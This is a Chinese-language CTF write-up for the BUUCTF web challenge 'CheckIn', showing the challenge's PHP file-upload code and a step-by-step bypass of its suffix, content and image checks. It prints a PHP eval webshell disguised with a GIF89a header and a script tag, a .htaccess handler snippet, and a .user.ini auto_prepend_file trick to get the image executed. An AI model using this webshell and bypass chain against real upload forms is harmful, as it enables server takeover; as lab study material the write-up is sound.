BUUCTF-web刷题篇(19)

28.CheckIn

源码:

php 复制代码
#index.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看出文件上传类的题目,绕过后缀的文件格式有php,php3,php4,php5,phtml,pht。

构造木马文件<?php @eval($_REQUEST['shell']);?>命名为flag.php

上传木马文件,显示illegal suffix!非法后缀,将flag.php改为flag.jpg,继续上传木马文件,显示<?in vontents!存在违法内容"<?"

改变思路点,将PHP一句话转换为JS形式

重构木马文件

<script language="php">@eval($_REQUEST['shell']);</script>

继续上传

显示exif_imagetype:not image!

重构

GIF89a<script language="php">@eval($_REQUEST['shell']);</script>

上传成功,使用蚁剑测试连接,可以连接,但是返回数据是空的,猜测后台并没有解析PHP代码。访问题目源码,提示是.user.ini配置文件。

.user.ini配置文件与.htaccess配置文件比较类似,概述来说,htaccess文件是Apache服务器中的一个配置文件,注意这几个字"改变文件扩展名"。

.htaccess配置文件格式

<FileMatch "1.jpg>

SetHandler application/x-httpd-php

.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

可以把.user.ini理解为用户可自定义的php.ini配置文件,.user.ini的两个配置项,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。

创建.user.ini文件

php 复制代码
GIF89a
auto_prepend_file=flag.jpg

上传.user.ini文件

连接蚁剑:密码:shell

相关推荐
黄焖鸡能干四碗4 小时前
信息系统安全保护措施文件方案
大数据·开发语言·人工智能·web安全·制造
2301_780789666 小时前
渗透测试与网络安全审计的关系
网络·数据库·安全·web安全·网络安全
卓码软件测评9 小时前
第三方web测评机构:【WEB安全测试中HTTP方法(GET/POST/PUT)的安全风险检测】
前端·网络协议·安全·web安全·http·xss
科技树支点15 小时前
无GC的Java创新设计思路:作用域引用式自动内存管理
java·python·go·web·编程语言·编译器
似水流年 光阴已逝17 小时前
《网络安全实战:CC攻击(应用层)与DDoS攻击(网络层)的底层逻辑与防御体系》
安全·web安全·ddos·网络攻击·安全防护·cc攻击
网络安全大学堂18 小时前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
码农101号20 小时前
Linux 网络安全运维与文件权限控制和日志操作
运维·web安全·云计算
安畅检测_齐鲁物联网测试中心1 天前
信息化安全性测试中漏洞扫描的定义与核心目的
安全·web安全·漏洞扫描·cma·cnas·第三方检测机构·信息安全性测试
lingggggaaaa1 天前
小迪安全v2023学习笔记(七十七讲)—— 业务设计篇&隐私合规检测&重定向漏洞&资源拒绝服务
笔记·学习·安全·web安全·网络安全
OEC小胖胖1 天前
React学习之路永无止境:下一步,去向何方?
前端·javascript·学习·react.js·前端框架·react·web